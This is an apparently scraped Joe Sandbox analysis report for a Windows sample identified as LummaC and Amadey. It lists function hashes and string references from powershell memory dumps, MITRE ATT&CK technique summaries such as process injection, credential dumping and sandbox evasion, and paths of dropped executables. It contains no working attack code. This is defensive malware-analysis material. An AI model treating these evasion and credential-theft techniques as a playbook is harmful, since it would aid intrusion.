Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: 06E08631B0006897CB489599D8508E9F7A5DBCC221F04847EDA1AA7340EA72691686E1

Function 04E2DCA0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2754021193.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44a346d9621893e529b6b521dbfe033e4a670e97203c658f3753cbd11998798b
Instruction ID: 19b062d50d3f1600857cd3020e0abcc3468707cad98568e38e8eee8afc4268af
Opcode Fuzzy Hash: 44a346d9621893e529b6b521dbfe033e4a670e97203c658f3753cbd11998798b
Instruction Fuzzy Hash: FDE0C2357046251BC316AA5EAC1089FB7EADFC4671360443EE11EC7300DE64FC024BE5

Function 04E2F860 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2754021193.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 850656cb24d69a668ff72161a8595faf7c068c71ebdd77e139b70d0a5708133d
Instruction ID: 35be35a8569bc6388ad744700549ede1256755a8af17c6c9af1f90b05d5ba8c8
Opcode Fuzzy Hash: 850656cb24d69a668ff72161a8595faf7c068c71ebdd77e139b70d0a5708133d
Instruction Fuzzy Hash: EAE01A74E4120A9FC780EFBCC88155EFBF4EB09210B2085AAD908E7311E7319A12DF91

Function 04E28800 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2754021193.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18de23b88845d018f217bf0a0960a7f2f48991d24684c21474594b6616897a22
Instruction ID: af39752ee2e32323ab8de421d08006295bdf051c20c3651b2008ee49ed860d47
Opcode Fuzzy Hash: 18de23b88845d018f217bf0a0960a7f2f48991d24684c21474594b6616897a22
Instruction Fuzzy Hash: 2BE01230A4E2466FCB4AEBB8D44946EBFB1AB46214B0442ADD949D7343D6315446DFC1

Function 04E28739 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2754021193.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: deafdc79829055eafe8fbd30a664dfbc09e9ac4cfc44b99322bd96b7fce0561c
Instruction ID: 6933a972c71dea080f802b51dba9b5be5bda01a7178f186218fe42b2e5dcde77
Opcode Fuzzy Hash: deafdc79829055eafe8fbd30a664dfbc09e9ac4cfc44b99322bd96b7fce0561c
Instruction Fuzzy Hash: 21E01A31A0A0469ECB0EBBE8D85D4BDBF30EE05301B40019DD55297192EA61198ACB80

Function 04E2F870 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2754021193.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: d81de44ea6ec1e0a0ea9b7d93c9b08cd53c0e5833469aeb5b1c0a34dc10a17a9
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: 04D06270D042199FC784EFADC94156DFBF4EB48200F5085AA9919E7301F7315612DBD1

Function 04E28748 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2754021193.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48d82a398b485a97c36b950c5ad74285588e32c288d0b8a744dd3cd92c9f0d77
Instruction ID: e6c8178c3588a541f3afcecba99b8caa88e11f1e422b7b2de555b132d031b802
Opcode Fuzzy Hash: 48d82a398b485a97c36b950c5ad74285588e32c288d0b8a744dd3cd92c9f0d77
Instruction Fuzzy Hash: 91D067319081099FCB0DBBE9E85E4BDBB74FB14301F40416DDA1792191EA312A5ACEC5

Function 04E28810 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2754021193.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d645fdf864f7b433c4d6ce02ee946c7d09a0fd2ade4add54c8f5839840913b3
Instruction ID: cba096fe60edcc7bc9e5fc8431c45e187035fc7bc53823520bba65f947498255
Opcode Fuzzy Hash: 5d645fdf864f7b433c4d6ce02ee946c7d09a0fd2ade4add54c8f5839840913b3
Instruction Fuzzy Hash: 90D01730A0820A9FCB48FFA8E44A86EBBB5EB44201F008169DA0993340EA306901CFC1

Function 04E2EA57 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2754021193.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee5ce0f2783fb7448d317e72fccd2ef34d2eac93e165c1f991bb50da5bf5976c
Instruction ID: 8635c21fa21a8dacb0c16dc19767678369c39538f1af0ecb8252d6bd03e8d9a5
Opcode Fuzzy Hash: ee5ce0f2783fb7448d317e72fccd2ef34d2eac93e165c1f991bb50da5bf5976c
Instruction Fuzzy Hash: ECD09239B44228CFDB14DB98E895ADCF371FB85325F1080A5E519A7251CB32A912CB40

Function 04E2793D Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2754021193.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8baf0f1c09a944d52914cdcc352c97d398f41531bc00bb357d1390c8d86917f
Instruction ID: 3bc5d3cbf63b13565ecf7476843ed580a90a80b754ce08dd2536b330fb989b79
Opcode Fuzzy Hash: c8baf0f1c09a944d52914cdcc352c97d398f41531bc00bb357d1390c8d86917f
Instruction Fuzzy Hash: 34C04C340853449FC7159B7990948587B65EE4611531005ECD85F5A666CA72844ECE05

Function 04E27940 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2754021193.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9372c5ffc8589aca67eeb4a31a5227ad97ff95d0e2892f17e63f96de7b9c1e6
Instruction ID: 435996abed233ff783a1f2c49a27379be91fecefea6b2747cac6e24defcf622a
Opcode Fuzzy Hash: a9372c5ffc8589aca67eeb4a31a5227ad97ff95d0e2892f17e63f96de7b9c1e6
Instruction Fuzzy Hash: 2BB09230044708CFC2486F79A4048187329EF4521938004ECE91E1A3928E36E889CA45

Function 04E27EAC Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2754021193.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69cd4683e3036200ef9aefbb8b7d64ad20d8857c23ae552415ab36ee063e5935
Instruction ID: cf8232a959d3d90c917def6f3e0b085c13a1d54e7576f101f100b4caf009039a
Opcode Fuzzy Hash: 69cd4683e3036200ef9aefbb8b7d64ad20d8857c23ae552415ab36ee063e5935
Instruction Fuzzy Hash: A6A00226D203109BBF45D737459A51536F2A6C3319B0489D0AD22D40349E38CC62D645

Non-executed Functions

Function 07C30FB8 Relevance: 11.4, Strings: 9, Instructions: 184COMMON

Download Yara Rule

Strings

$]q, xrefs: 07C31044
$]q, xrefs: 07C31229
$]q, xrefs: 07C31065
$]q, xrefs: 07C31081
`Q]q, xrefs: 07C31153
$]q, xrefs: 07C31253
fbq, xrefs: 07C310A2
tP]q, xrefs: 07C31127
`Q]q, xrefs: 07C310ED

Memory Dump Source

Source File: 0000000B.00000002.2772309925.0000000007C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7c30000_powershell.jbxd

Similarity

API ID:
String ID: fbq$`Q]q$`Q]q$tP]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-810355167
Opcode ID: fc9cb0fd571ef72407cd7aade9588bbd7fe8017fd067ffe3ccd497826d1ca89d
Instruction ID: 78c05a8a9d8ffab4372eb61abdd7e9173b3cb69309b670de91f7bd39294ca5d7
Opcode Fuzzy Hash: fc9cb0fd571ef72407cd7aade9588bbd7fe8017fd067ffe3ccd497826d1ca89d
Instruction Fuzzy Hash: A4617CF0A14A0EDFDB24CF49C584BAA77F2BB45351F1C8465E8019B291C776DE84CBA1

Function 07C33928 Relevance: 10.3, Strings: 8, Instructions: 330COMMON

Download Yara Rule

Strings

4']q, xrefs: 07C33B35
4']q, xrefs: 07C33B29
$]q, xrefs: 07C3393A
$]q, xrefs: 07C33C0E
tP]q, xrefs: 07C339A5
tP]q, xrefs: 07C339B1
$]q, xrefs: 07C33960
$]q, xrefs: 07C3396C

Memory Dump Source

Source File: 0000000B.00000002.2772309925.0000000007C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7c30000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q$$]q$$]q$$]q$$]q
API String ID: 0-1910532044
Opcode ID: 4aaa385d1493abdee68876d672b6e364463f15c124648516bbaa0e0f8b897fd8
Instruction ID: 22d1b73a42c1d4c62e06f9668a29ecd98f338987951b468c9155872cc6d831ff
Opcode Fuzzy Hash: 4aaa385d1493abdee68876d672b6e364463f15c124648516bbaa0e0f8b897fd8
Instruction Fuzzy Hash: 0EA19AB13143869FC7248B699880766BBF6AFC5720F1480ABD449CB391DB35CE82C7A1

Function 07C34500 Relevance: 5.2, Strings: 4, Instructions: 242COMMON

Download Yara Rule

Strings

4']q, xrefs: 07C34725
tP]q, xrefs: 07C34597
tP]q, xrefs: 07C3458B
4']q, xrefs: 07C34719

Memory Dump Source

Source File: 0000000B.00000002.2772309925.0000000007C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7c30000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q
API String ID: 0-3637193552
Opcode ID: 9488bdffd5773cba46c8e14902a8cc2e4b34e58c0d66c28600609c0b77a68fca
Instruction ID: 6e32e96df66bd4112103b5e6b6dd03112f5a7866225c2f8bff3d8499a83edad2
Opcode Fuzzy Hash: 9488bdffd5773cba46c8e14902a8cc2e4b34e58c0d66c28600609c0b77a68fca
Instruction Fuzzy Hash: 877138F5B142868FCB288B69948477ABBF6AFC6311F15806BD545CB241EB31CF41C7A1

Function 04E27A27 Relevance: 5.2, Strings: 4, Instructions: 237COMMON

Download Yara Rule

Strings

`^q, xrefs: 04E27CC2
`^q, xrefs: 04E27C44
`^q, xrefs: 04E27B23
`^q, xrefs: 04E27BA2

Memory Dump Source

Source File: 0000000B.00000002.2754021193.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID: `^q$`^q$`^q$`^q
API String ID: 0-4294711580
Opcode ID: 02f87e103584e76727d80b69df1de4823e48dacfdc2394fd10a5575f3b718bbf
Instruction ID: 7aefb0c3fcdee9040cf171b48b7b48fec62519ce715d5dbb50b2757b1f91c2b2
Opcode Fuzzy Hash: 02f87e103584e76727d80b69df1de4823e48dacfdc2394fd10a5575f3b718bbf
Instruction Fuzzy Hash: 39B1AB74E012199FDB54DFA9D590A9DFBF2FF88304F208629E819AB344DB34A945CF90

Function 04E27A30 Relevance: 5.2, Strings: 4, Instructions: 234COMMON

Download Yara Rule

Strings

`^q, xrefs: 04E27CC2
`^q, xrefs: 04E27C44
`^q, xrefs: 04E27B23
`^q, xrefs: 04E27BA2

Memory Dump Source

Source File: 0000000B.00000002.2754021193.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID: `^q$`^q$`^q$`^q
API String ID: 0-4294711580
Opcode ID: 5b14867403aa15d5612360f31e36579adea2e301c3bf85eaaef22b0be87ddb26
Instruction ID: 55c937ed224fdd93de478f2d15b9f905ebf1336785ce6f81b40a506c690924a1
Opcode Fuzzy Hash: 5b14867403aa15d5612360f31e36579adea2e301c3bf85eaaef22b0be87ddb26
Instruction Fuzzy Hash: CBB19B74E012199FDB54DFA9D590A9DFBF2FF88304F208629E819AB344DB34A945CF90

Function 04E27220 Relevance: 5.2, Strings: 4, Instructions: 176COMMON

Download Yara Rule

Strings

`^q, xrefs: 04E27CC2
`^q, xrefs: 04E27C44
`^q, xrefs: 04E27B23
`^q, xrefs: 04E27BA2

Memory Dump Source

Source File: 0000000B.00000002.2754021193.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID: `^q$`^q$`^q$`^q
API String ID: 0-4294711580
Opcode ID: eb8ae8cbd8b8d5d3533edb1e39bac34eab2ecf9d56839dfa8ad18622f5ce1ba8
Instruction ID: 32ec712ac163af276599f84285d46d8ace86b70843afff10fe07bb8bb21389d0
Opcode Fuzzy Hash: eb8ae8cbd8b8d5d3533edb1e39bac34eab2ecf9d56839dfa8ad18622f5ce1ba8
Instruction Fuzzy Hash: AF817374E012199FDB54DFA9D990A9DFBF2FF48304F20862AE819AB305D734A945CF90

Function 07C31EF8 Relevance: 5.1, Strings: 4, Instructions: 142COMMON

Download Yara Rule

Strings

tP]q, xrefs: 07C31FDF
4']q, xrefs: 07C31F89
tP]q, xrefs: 07C31FEB
4']q, xrefs: 07C31F95

Memory Dump Source

Source File: 0000000B.00000002.2772309925.0000000007C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7c30000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q
API String ID: 0-3637193552
Opcode ID: a5231e5aabff108774607e0f532ee2027305b650924eee20ea9a06da1ee38e14
Instruction ID: d6f028c49a2f856ad0b58a000cbfdec2e90792ef7df45a6b7d7ee8d596332197
Opcode Fuzzy Hash: a5231e5aabff108774607e0f532ee2027305b650924eee20ea9a06da1ee38e14
Instruction Fuzzy Hash: 144108B1B1060ACFCB259B699480667FBA2AFC9310F19C0ABD6558F241DB36CA45C7A1

Function 07C35798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$]q, xrefs: 07C357F4
$]q, xrefs: 07C357AA
$]q, xrefs: 07C357C6
$]q, xrefs: 07C35800

Memory Dump Source

Source File: 0000000B.00000002.2772309925.0000000007C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7c30000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: da1f1bb71c7aa17715b6d4a8a3213ec1d9a3e678a99ed6888973f31c19d3e7e7
Instruction ID: da4aaa577f912ca12fce8543d48db27c9c23987b4fc3203cc9f9cd99fa750a88
Opcode Fuzzy Hash: da1f1bb71c7aa17715b6d4a8a3213ec1d9a3e678a99ed6888973f31c19d3e7e7
Instruction Fuzzy Hash: BA214DB1760302DBDB38557EA881B37BBDAAFC1712F24843AD905CB381DE75CA518362

Function 07C30317 Relevance: 5.0, Strings: 4, Instructions: 40COMMON

Download Yara Rule

Strings

$]q, xrefs: 07C3035E
4']q, xrefs: 07C3037F
$]q, xrefs: 07C30352
4']q, xrefs: 07C30373

Memory Dump Source

Source File: 0000000B.00000002.2772309925.0000000007C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7c30000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q
API String ID: 0-978391646
Opcode ID: 6816432a6d82fd784709198aafc529e7802933511153911af7669adf5d7930ed
Instruction ID: 3ba89420626d2f9e4fef436ee02f5b2d1b65ea7752b91afa3befe8eefabf5642
Opcode Fuzzy Hash: 6816432a6d82fd784709198aafc529e7802933511153911af7669adf5d7930ed
Instruction Fuzzy Hash: 13F02BB27183479BC77E162C14A01696BB75FC191072A419BC091CF352CF2C8EC687E7

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\kf5cl0F.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\sibjs.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\ANEDNjf[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\Dh5yvWY[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\kf5cl0F[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
